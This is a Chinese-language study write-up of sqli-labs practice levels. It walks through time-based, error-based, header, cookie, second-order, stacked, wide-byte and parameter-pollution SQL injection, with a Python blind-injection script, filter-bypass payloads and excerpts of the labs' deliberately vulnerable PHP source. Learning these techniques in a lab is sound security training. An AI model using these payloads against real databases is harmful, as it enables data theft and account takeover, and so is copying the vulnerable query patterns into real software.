sqli靶场 先试单双引号,有报错说明原结构被破坏,则为该引号闭合,都没反应,可能是数字型。再加注释符(–、–+、#都有可能,注意浏览器中从表单提交可能被url编码,可以从hackbar或者bp提交表单),如果还是报错,则可能存在括号闭合,加括号报错消失之后试下两个语句,or 1=1,or 1=0
以及order by ...
后者查列数,前者如果结果有所不同则存在布尔注入利用,之后可尝试联合注入、布尔盲注,如果页面始终都没发生变化,则试下时间注入。不存在报错将所有可能情况都试下(' or 1=1/0#
、" or 1=1/0#
、") or 1=1/0#
、') or 1=1/0#
、')) or 1=1/0#
、")) or 1=1/0#
、)
常见闭合:
level9 发现不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用。布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if()
函数和sleep()
函数。if(a,sleep(10),1)
如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。 (%3C和%3E是<>
,被编码了hhh)
可以看到如果判断长度不为8,刷的一下就加载完了,但是如果数据库名长度等于八就延迟十秒
后面的操作就类似了
在利用python编写脚本的时候要利用到time模块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import timeimport requests url = 'http://124.70.99.199:3456/Less-9/' def sqli (): length = 0 for i in range (1 ,15 ): start_time = time.time() payload = f"""?id=1' and if(length(database())={i} ,sleep(2),1)--+""" r = requests.get(url+payload) end_time = time.time() exec_time = end_time - start_time if exec_time>2 : print (i) break sqli()
level17 报错注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 updatexml(target_xml,xpath_string,new_value) #target_xml:需要更新的xml数据,可以是xml类型的列或变量 #xpath_string:xpath表达式,用于指定要更新的节点或属性 #new_value:新的值, 用于替换目标节点或属性的值 #示例: update your_table set xml_culumn = updatexml(xml_column,'/root/user[1]/name','Potatowo') where id = 1; #上述示例中your_table是要更新的表,xml_column是包含xml数据的列名,/root/user[1]/name是xpath表达式,指定要更新的节点路径,'Potatowo'是设置的新的值 extractvalue(xml_data,xpath_string) #xml_data:xml数据,可以是xml类型的列或变量 #xpath_string:xpath表达式,用于指定要提取的节点 #函数根据提供的xpath表达式在xml数据中查找匹配的节点,并返回该节点的文本值 #一个有效的xpath表达式应该满足以下要求: #以节点测试、函数、运算符或路径表达式开头 #路径表达式应以节点轴或节点名称开始 #若不满足xpath语法,则会报错,如果xpath为sql语句,mysql会执行,并将执行结果返回在报错中
测试注入点的时候发现无论如何都没有反应,都只出现上图的情况,当用户名为’admin’或’Dumb’时密码输入什么都行,懵逼了挺久的,然后看了眼这个
啊原来是修改密码啊。。。真tm
既然是修改密码,后端一定存在update语句,修改的是password,猜测传入的password存在引号闭合,随手试了下,
,当然此处的用户名必须是admin或者Dumb,到最后一步查表内容时出问题了
看了眼大佬博客了解到mysql修改和查询不能是同一张表,因此可以引入一个临时表(详情去看另一篇博客 ),然后又踩坑(不过还好,报错的意思就是说临时表必须起别名,问题不大
一开始还在纳闷怎么没有admin,观察后发现好像输出字数被限制了,如果想尽可能完整获取数据库中的信息,可以用not in
运算符把以及显示出来的用户名排除掉
如下,查出来的满满都是admin(,看来懵逼时瞎尝试的次数不少(
换成updatexml()函数试下,注意新加入的’*****‘参数
想了一下,之前能够回显错误信息的不是都可以用报错注入吗?(脑袋发光),好像比盲注效率高了不少
这道题看大佬博客好像都审计了一眼源代码,于是跟着学习了下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function check_input ($value ) { if (!empty ($value )) { $value = substr ($value ,0 ,15 ); } if (get_magic_quotes_gpc ()) { $value = stripslashes ($value ); } if (!ctype_digit ($value )) { $value = "'" . mysql_real_escape_string ($value ) . "'" ; } else { $value = intval ($value ); } return $value ; }
1 2 3 4 if (get_magic_quotes_gpc ()) { $value = stripslashes ($value ); }
其中get_magic_quotes_gpc()
函数的作用是判断get_magic_quotes_gpc()
是否开启,如果开启的话会给用户传入的信息添加上转义字符’\‘,,stringslashes()
则是去掉转义字符,这个方法在新版本的php中已经被废弃了,也盲学一下,增长见识。
HTTP头注入: 看一眼源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $sql ="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1" ; $result1 = mysql_query ($sql ); $row1 = mysql_fetch_array ($result1 ); if ($row1 ) { echo '<font color= "#FFFF00" font size = 3 >' ; $insert ="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent ', '$IP ', $uname )" ; mysql_query ($insert ); echo "</font>" ; echo '<font color= "#0000ff" font size = 3 >' ; echo 'Your User Agent is: ' .$uagent ; echo "</font>" ; echo "<br>" ; print_r (mysql_error ()); echo "<br><br>" ; echo '<img src="../images/flag.jpg" />' ; echo "<br>" ; } else { echo '<font color= "#0000ff" font size="3">' ; print_r (mysql_error ()); echo "</br>" ; echo "</br>" ; echo '<img src="../images/slap.jpg" />' ; echo "</font>" ; }
一开始的页面,随便输一个显示本机IP,从源代码可以看出得先登陆成功才会显示uagent,就试admin,源代码不含闭合,是数字型的,试了下admin or 1=1--+
不行,试密码吧,试来试去最后居然还是最后忘记填密码了登陆成功的。。。密码为空。。。
成功显示出uagent,看到代码这一行:
1 $insert ="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent ', '$IP ', $uname )" ;
和上一题一样,uagent单引号闭合,没有查询语句,可以试试报错注入,因为IP变量不可控(不可按预期方法控制),uname这里不是admin就没法登录也就没法显示uagent,指向很明确了,user agent就是注入点,单引号闭合,
成功报错,注意到原来语句的VALUE存在左括号,因此注入时要额外增加一个右括号保证语句的完整。
或者加and '
确实没密码。。。
level19和level18差不多,只是注入点从uagent变成了referer
level20: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $sql ="SELECT * FROM users WHERE username='$cookee ' LIMIT 0,1" ;$result =mysql_query ($sql );if (!$result ) { die ('Issue with your mysql: ' . mysql_error ()); }$row = mysql_fetch_array ($result );if ($row ) { echo '<font color= "pink" font size="5">' ; echo 'Your Login name:' . $row ['username' ]; echo "<br>" ; echo '<font color= "grey" font size="5">' ; echo 'Your Password:' .$row ['password' ]; echo "</font></b>" ; echo "<br>" ; echo 'Your ID:' .$row ['id' ]; }
单引号闭合username=cookie,因此只需要对cookie进行闭合后注入恶意语句即可
level21: 和上一题基本没差,就是在cookie上多了个base64编码过程,然后查询语句闭合方式变为')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $cookee = base64_decode ($cookee );echo "<br></font>" ;$sql ="SELECT * FROM users WHERE username=('$cookee ') LIMIT 0,1" ;$result =mysql_query ($sql );if (!$result ) { die ('Issue with your mysql: ' . mysql_error ()); }$row = mysql_fetch_array ($result );if ($row ) { echo '<font color= "pink" font size="5">' ; echo 'Your Login name:' . $row ['username' ]; echo "<br>" ; echo '<font color= "grey" font size="5">' ; echo 'Your Password:' .$row ['password' ]; echo "</font></b>" ; echo "<br>" ; echo 'Your ID:' .$row ['id' ]; }
level22: 同上题,改成双引号闭合罢了
level23:
单引号输进去报错,但是加注释报错仍然存在,看了眼源代码,注释被过滤掉了
1 2 3 4 5 6 7 8 $id =$_GET ['id' ];$reg = "/#/" ;$reg1 = "/--/" ;$replace = "" ;$id = preg_replace ($reg , $replace , $id );$id = preg_replace ($reg1 , $replace , $id );
emmm,当时的万能密码怎么说来着,1' or '1'='1
那会没去仔细深究为啥长这样,突然就明白了(),当存在注释符过滤时最后的’1会和原sql语句的引号闭合,保证sql语句的完整性
构造payload:
1 2 3 id=1' and extractvalue(1,concat(1,(select database()))) or '1'='1 或者用and '闭合后面的引号也行 id=1' and extractvalue(1,concat(1,(select database()))) and '
这里是报错注入所以就不用太在意and、or逻辑关系
(前面报错注入做太爽了后面才注意到可以直接联合注入,无所谓,报错注入真好用)
level24 目前最牛的一级
代码审计
源代码大致有主页、修改密码、注册新用户页面。看到存在mysql_escape_string()
过滤函数存在,开始搜寻不存在过滤的变量
诶嘿,这不是就传入了个SESSION没有过滤吗
1 2 3 4 5 6 7 $username = $_SESSION ["username" ]; $curr_pass = mysql_real_escape_string ($_POST ['current_password' ]); $pass = mysql_real_escape_string ($_POST ['password' ]); $re_pass = mysql_real_escape_string ($_POST ['re_password' ]);
并且下面的查询语句就是对$username
变量进行查询,只要能改变这个SESSION的值便可以间接对SQL语句进行操作,但是SESSION是存放在服务端的,客户端没法直接进行修改,不急,继续看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function sqllogin ( ) { $username = mysql_real_escape_string ($_POST ["login_user" ]); $password = mysql_real_escape_string ($_POST ["login_password" ]); $sql = "SELECT * FROM users WHERE username='$username ' and password='$password '" ; $res = mysql_query ($sql ) or die ('You tried to be real smart, Try harder!!!! :( ' ); $row = mysql_fetch_row ($res ); if ($row [1 ]) { return $row [1 ]; } else { return 0 ; } }$login = sqllogin ();if (!$login == 0 ) { $_SESSION ["username" ] = $login ; setcookie ("Auth" , 1 , time ()+3600 ); header ('Location: logged-in.php' ); }
从login.php这里的代码就能看出SESSION的值取决于变量$login的值,变量$login的值取决于用户在登录时的用户名(row的第一个字段),那就慢慢变得有点头绪了,只要创建一个新用户,控制新用户用户名就能间接控制SESSION。进而达到控制数据库的目的。
逻辑理到这里了突然就卡壳了,受限于之前的惯性思维一直以为是要获取数据库中的数据,想了很久没想出个所以然来,去看了眼题解,发现这种注入被称为二次注入,当以admin'#
的身份登录后修改其密码,实际上就能修改admin的密码
SQL语句如下:
1 $sql = "UPDATE users SET PASSWORD='$pass ' where username='admin'# ' and password='$curr_pass ' " ;
结果是打完之后忘记admin'#
的密码了。。。等我晚上重启一下数据库。。
军训归来(,新建一个新用户admin'#
用admin'#
登录
修改其密码为114514,根据sql语句分析,此时应该修改了admin
用户的密码
成功登录admin
level25 一个简单的双写过滤,payload:
1 ?id=1' anandd extractvalue(1,concat(1,(select database())))--+
level26 空格过滤,or and过滤,注释符过滤
注释符过滤前面提到可以通过闭合后引号解决,空格过滤在此之前只接触过/**/,才疏学浅,结果发现/**/也被过滤了(呜呜呜呜
去找了找网上的资料,如果空格被过滤了可以用如下字符替代:
1 2 3 4 5 6 %a0:非断行空格 %0a:新建一行 %0b:Tab(垂直) %0c:新的一页 %0d:return %09:Tab(水平)
这里%a0和%0b可行,payload:
1 ?id=1'%a0anandd%a0extractvalue(1,concat(1,(select%a0database())))%a0oorr'1'='1
在网上看到一种神奇的写法,记个笔记:
1 ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
level27 payload:
依旧对空格过滤,但是这回上面提到的几个都行,select存在过滤,selEct大写绕过
1 ?id=1'%0aand%0aupdatexml(1,(concat(1,(selEct%0adatabase()))),1)%0aand%0a'
level28 没有报错信息,报错注入行不通了,试下盲注,空格依旧使用%0a过滤,payload:
1 ?id=1%27%0aand%0alength(database())=8%0aor%0a%271%27=%272
这里就要注意or和and之间的逻辑关系了,上面两种是正确的注入逻辑,下面两种是错误的注入逻辑
时间盲注也行,但是可以用布尔盲注为什么要用时间盲注呢(笑
level29 测试单引号出现报错加注释报错消失,也没有任何的过滤。。
payload:
1 ?id=1%27%20and%20extractvalue(1,concat(1,(select%20database())))--+
Protected By The World’s Best Firewall。。。emmm
感觉没那么简单,看了眼源代码,咋还有个login.php和hacked.php,找遍网页也没出现这俩,手动进login.php,看起来像是隐藏关卡?
还多了两个pdf链接,应该是提示之类的,先不看,直接刚一下
测试了下单引号双引号闭合,都炸了,如下
啊?试了很久发现除了最中规中矩的纯数字,其他通通都会寄。。有点意思,那就看下源代码
有个白名单,如果传入不是纯数字就跳转到hacked.php,emmm…不急往下看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function whitelist ($input ) { $match = preg_match ("/^\d+$/" , $input ); if ($match ) { } else { header ('Location: hacked.php' ); } }
把query_string(http://host/?par1=var1&par2=var2&...
中’?’之后的部分)以’&’分开然后截取每一部分的前两个字符判断是不是’id’,如果是的话截取该部分等号之后的东西。。。说了那么多,所以,不就是返回传入的参数id吗????
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function java_implimentation ($query_string ) { $q_s = $query_string ; $qs_array = explode ("&" ,$q_s ); foreach ($qs_array as $key => $value ) { $val =substr ($value ,0 ,2 ); if ($val =="id" ) { $id_value =substr ($value ,3 ,30 ); return $id_value ; echo "<br>" ; break ; } } }
嘶。。这意思是id必须是纯数字?没法子了,网页给了两个pdf,一个404了,另一个配合我的工地英语和翻译器食用
1 2 3 4 5 $qs = $_SERVER ['QUERY_STRING' ];$hint =$qs ;$id1 =java_implimentation ($qs );whitelist ($id1 );
最后那个pdf的内容提炼出来就是这样一张表:
可以看到搭建在apache服务器上的php服务对于传入多个相同名字的参数,服务器只解析最后一个,所以$_GET['id']
变量实际上是最后一个id参数,但是根据waf的意思,实际上过滤的是最先出现的参数id,对第二个id参数进行注入就行了
level30 表关卡没啥好说的,双引号闭合联合注入:
主要看里关:
同29关,HPP参数污染,把单引号换成双引号
level31 表关:
里关:
level32 直接就是把引号给转义了
1 2 3 4 5 6 7 function check_addslashes ($string ) { $string = preg_replace ('/' . preg_quote ('\\' ) .'/' , "\\\\\\" , $string ); $string = preg_replace ('/\'/i' , '\\\'' , $string ); $string = preg_replace ('/\"/' , "\\\"" , $string ); return $string ; }
通常情况下来说用户输入的字符串永远无法将原SQL语句的单引号闭合,通常情况下这里是不存在SQL注入的,但是注意到数据库使用的是GBK编码:
1 mysql_query ("SET NAMES gbk" );
宽字节的格式就是在地址后面加一个%df,再加单引号,可以通过上面的测试发现,在单引号之前PHP会自动加一个\(反斜杠),因为反斜杠的编码为%5c,所以自动转义为',而在GBK编码中,%df5c是繁体字“連”,由于汉字是双字节,所以这里’之前的\就会被吃掉消失,那么会造成单引号成功逃逸,爆出MySQL数据库的错误。
level33 同32
level34 在POST里进行宽字节注入
level35 虽然使用addslashes()进行了转义,但是id变量并没有用引号闭合,
主要影响到爆字段名等之后需要引号的部分:
再加上0x
level36 使用mysql_real_escape_string()
函数来转义特殊字符,包括单双引号
1 2 3 4 5 function check_quotes ($string ) { $string = mysql_real_escape_string ($string ); return $string ; }
level37
level38 正常单引号闭合注入ok,感觉没那么容易去看了眼源代码:
1 2 3 $sql ="SELECT * FROM users WHERE id='$id ' LIMIT 0,1" ;if (mysqli_multi_query ($con1 , $sql ))
是存在mysqli_multi_query()
,可执行多条sql语句,因此也可以进行堆叠注入
插入新用户potato
查询id为999的用户:
level39 id无闭合,数字型,直接注入即可,也可像上题一样堆叠注入
level40 单引号+括号闭合,
源代码里混入了level24的二次注入?
level41 数字型,但是可以堆叠注入
level42
点开忘记密码:
点开新用户:
emmm,结合源代码,堆叠注入没跑了:
1 2 $sql = "SELECT * FROM users WHERE username='$username ' and password='$password '" ;if (@mysqli_multi_query ($con1 , $sql ))
注意username被转义,可以利用password
1 2 $username = mysqli_real_escape_string ($con1 , $_POST ["login_user" ]);$password = $_POST ["login_password" ];
登陆成功
level43 同上题,只是闭合方式换成了单引号括号:
1 2 $sql = "SELECT * FROM users WHERE username=('$username ') and password=('$password ')" ;if (@mysqli_multi_query ($con1 , $sql ))
level44 同level42
level45 同43
level46 一进来这样一个页面,传入sort参数发现数据的顺序改变,推测是传入参数拼接在了order by后面,那就不能联合注入了,看了眼源代码不是用multi_query()
,那也没办法堆叠注入了,
想了想还是用报错注入,updatexml()
level47 比起上一题多了个单引号闭合:
level48 没有报错信息,判断为数字型,注入点在order by 后,延时注入:
level49 引号闭合,但是无报错信息,延时注入
level50 可报错注入也可堆叠注入:
1 2 3 4 5 6 7 8 9 10 $sql ="SELECT * FROM users ORDER BY $id " ;if (mysqli_multi_query ($con1 , $sql )) ...... else { echo '<font color= "#FFFF00">' ; print_r (mysqli_error ($con1 )); echo "</font>" ; }
level51 比起上一题多了单引号闭合:
1 2 3 4 5 6 7 8 9 10 $sql ="SELECT * FROM users ORDER BY '$id '" ;if (mysqli_multi_query ($con1 , $sql )) ...... else { echo '<font color= "#FFFF00">' ; print_r (mysqli_error ($con1 )); echo "</font>" ; }
level52 没有报错,只能堆叠或者延时:
1 2 3 $sql ="SELECT * FROM users ORDER BY $id " ;if (mysqli_multi_query ($con1 , $sql ))
level53 依旧没有报错,比起上一题多了单引号闭合:
1 2 3 $sql ="SELECT * FROM users ORDER BY '$id '" ;if (mysqli_multi_query ($con1 , $sql ))
level54 被限定了次数,十次以内要获得secret_key
爆表名:
字段名:
那么我们目标的应该就是secret_P551字段中的东西了,爆数据:
level55 有14次机会
括号闭合整数:
1 2 $sql ="SELECT * FROM security.users WHERE id=($id ) LIMIT 0,1" ;$result =mysql_query ($sql );
level56 单引号+括号闭合:
level57 双引号闭合
level58 使用单引号闭合报错注入
level59 整数闭合,报错注入:
level60 双引号+括号报错注入:
level61 单引号+双括号闭合:
level62 单引号+括号闭合,无报错结果,可布尔可时间盲注
level63 单引号,无报错信息,布尔盲注or时间盲注:
level64 整数+双括号闭合,布尔or时间盲注
level65 双引号+括号闭合,布尔or时间盲注